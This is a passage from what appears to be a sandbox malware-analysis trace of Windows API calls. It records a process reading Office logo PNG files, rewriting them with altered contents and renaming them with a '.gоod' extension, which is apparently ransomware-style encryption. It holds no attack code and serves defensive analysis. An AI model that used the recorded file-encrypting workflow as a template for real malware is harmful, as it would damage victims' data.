SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0230.991] GetFileType (hFile=0x834) returned 0x1 [0230.992] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xa6b [0230.992] ReadFile (in: hFile=0x834, lpBuffer=0x36c9b88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x36c9b88*, lpNumberOfBytesRead=0x1fcee238*=0xa6b, lpOverlapped=0x0) returned 1 [0230.993] CloseHandle (hObject=0x834) returned 1 [0231.004] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-80.png", lpFilePart=0x0) returned 0x54 [0231.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0231.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0231.005] GetFileType (hFile=0x834) returned 0x1 [0231.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0231.005] GetFileType (hFile=0x834) returned 0x1 [0231.005] WriteFile (in: hFile=0x834, lpBuffer=0x37456d0*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37456d0*, lpNumberOfBytesWritten=0x1fcee148*=0xa70, lpOverlapped=0x0) returned 1 [0231.006] CloseHandle (hObject=0x834) returned 1 [0231.006] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-80.png", lpFilePart=0x0) returned 0x54 [0231.006] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-80.png.gоod", lpFilePart=0x0) returned 0x59 [0231.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0231.006] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x85e679a3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa70)) returned 1 [0231.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0231.007] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.scale-80.png.gоod")) returned 1 [0231.007] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x69 [0231.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0231.007] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x37469c0 | out: lpFileInformation=0x37469c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x91b)) returned 1 [0231.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0231.008] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x69 [0231.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0231.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0231.008] GetFileType (hFile=0x834) returned 0x1 [0231.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0231.008] GetFileType (hFile=0x834) returned 0x1 [0231.008] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x91b [0231.008] ReadFile (in: hFile=0x834, lpBuffer=0x3747698, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3747698*, lpNumberOfBytesRead=0x1fcee238*=0x91b, lpOverlapped=0x0) returned 1 [0231.017] CloseHandle (hObject=0x834) returned 1 [0231.028] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x69 [0231.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0231.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0231.029] GetFileType (hFile=0x834) returned 0x1 [0231.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0231.029] GetFileType (hFile=0x834) returned 0x1 [0231.029] WriteFile (in: hFile=0x834, lpBuffer=0x37c1c50*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37c1c50*, lpNumberOfBytesWritten=0x1fcee148*=0x920, lpOverlapped=0x0) returned 1 [0231.030] CloseHandle (hObject=0x834) returned 1 [0231.033] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x69 [0231.034] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-100.png.gоod", lpFilePart=0x0) returned 0x6e [0231.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0231.034] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x85eb40e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x920)) returned 1 [0231.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0231.034] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-100.png.gоod")) returned 1 [0231.035] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x69 [0231.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0231.035] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x37c2fb8 | out: lpFileInformation=0x37c2fb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa7f)) returned 1 [0231.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0231.035] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x69 [0231.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0231.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0231.035] GetFileType (hFile=0x834) returned 0x1 [0231.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0231.035] GetFileType (hFile=0x834) returned 0x1 [0231.035] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xa7f [0231.035] ReadFile (in: hFile=0x834, lpBuffer=0x37c3df0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x37c3df0*, lpNumberOfBytesRead=0x1fcee238*=0xa7f, lpOverlapped=0x0) returned 1 [0231.228] CloseHandle (hObject=0x834) returned 1 [0232.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x69 [0232.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0232.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0232.820] GetFileType (hFile=0x630) returned 0x1 [0232.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0232.820] GetFileType (hFile=0x630) returned 0x1 [0232.820] WriteFile (in: hFile=0x630, lpBuffer=0x37aeaf8*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37aeaf8*, lpNumberOfBytesWritten=0x1fcee148*=0xa80, lpOverlapped=0x0) returned 1 [0232.821] CloseHandle (hObject=0x630) returned 1 [0232.821] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x69 [0232.821] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-140.png.gоod", lpFilePart=0x0) returned 0x6e [0232.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0232.821] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86fb0ec4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa80)) returned 1 [0232.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0232.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-140.png.gоod")) returned 1 [0232.827] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x69 [0232.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0232.827] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x37afe60 | out: lpFileInformation=0x37afe60*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd17)) returned 1 [0232.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0232.827] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x69 [0232.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0232.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0232.827] GetFileType (hFile=0x630) returned 0x1 [0232.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0232.827] GetFileType (hFile=0x630) returned 0x1 [0232.828] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xd17 [0232.828] ReadFile (in: hFile=0x630, lpBuffer=0x37b0f30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x37b0f30*, lpNumberOfBytesRead=0x1fcee238*=0xd17, lpOverlapped=0x0) returned 1 [0232.829] CloseHandle (hObject=0x630) returned 1 [0232.840] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x69 [0232.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0232.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0232.841] GetFileType (hFile=0x630) returned 0x1 [0232.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0232.841] GetFileType (hFile=0x630) returned 0x1 [0232.841] WriteFile (in: hFile=0x630, lpBuffer=0x382c7c0*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x382c7c0*, lpNumberOfBytesWritten=0x1fcee148*=0xd20, lpOverlapped=0x0) returned 1 [0232.842] CloseHandle (hObject=0x630) returned 1 [0232.842] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x69 [0232.842] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-180.png.gоod", lpFilePart=0x0) returned 0x6e [0232.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0232.843] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86ffd1a7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd20)) returned 1 [0232.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0232.843] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-180.png.gоod")) returned 1 [0232.843] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x68 [0232.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0232.844] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x382db28 | out: lpFileInformation=0x382db28*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x730)) returned 1 [0232.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0232.844] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x68 [0232.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0232.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0232.844] GetFileType (hFile=0x630) returned 0x1 [0232.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0232.844] GetFileType (hFile=0x630) returned 0x1 [0232.844] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x730 [0232.844] ReadFile (in: hFile=0x630, lpBuffer=0x382e610, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x382e610*, lpNumberOfBytesRead=0x1fcee238*=0x730, lpOverlapped=0x0) returned 1 [0232.845] CloseHandle (hObject=0x630) returned 1 [0232.857] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x68 [0232.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0232.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0232.858] GetFileType (hFile=0x630) returned 0x1 [0232.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0232.858] GetFileType (hFile=0x630) returned 0x1 [0232.858] WriteFile (in: hFile=0x630, lpBuffer=0x38a8f28*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x38a8f28*, lpNumberOfBytesWritten=0x1fcee148*=0x740, lpOverlapped=0x0) returned 1 [0232.859] CloseHandle (hObject=0x630) returned 1 [0232.859] GetFullPathNameW (in: 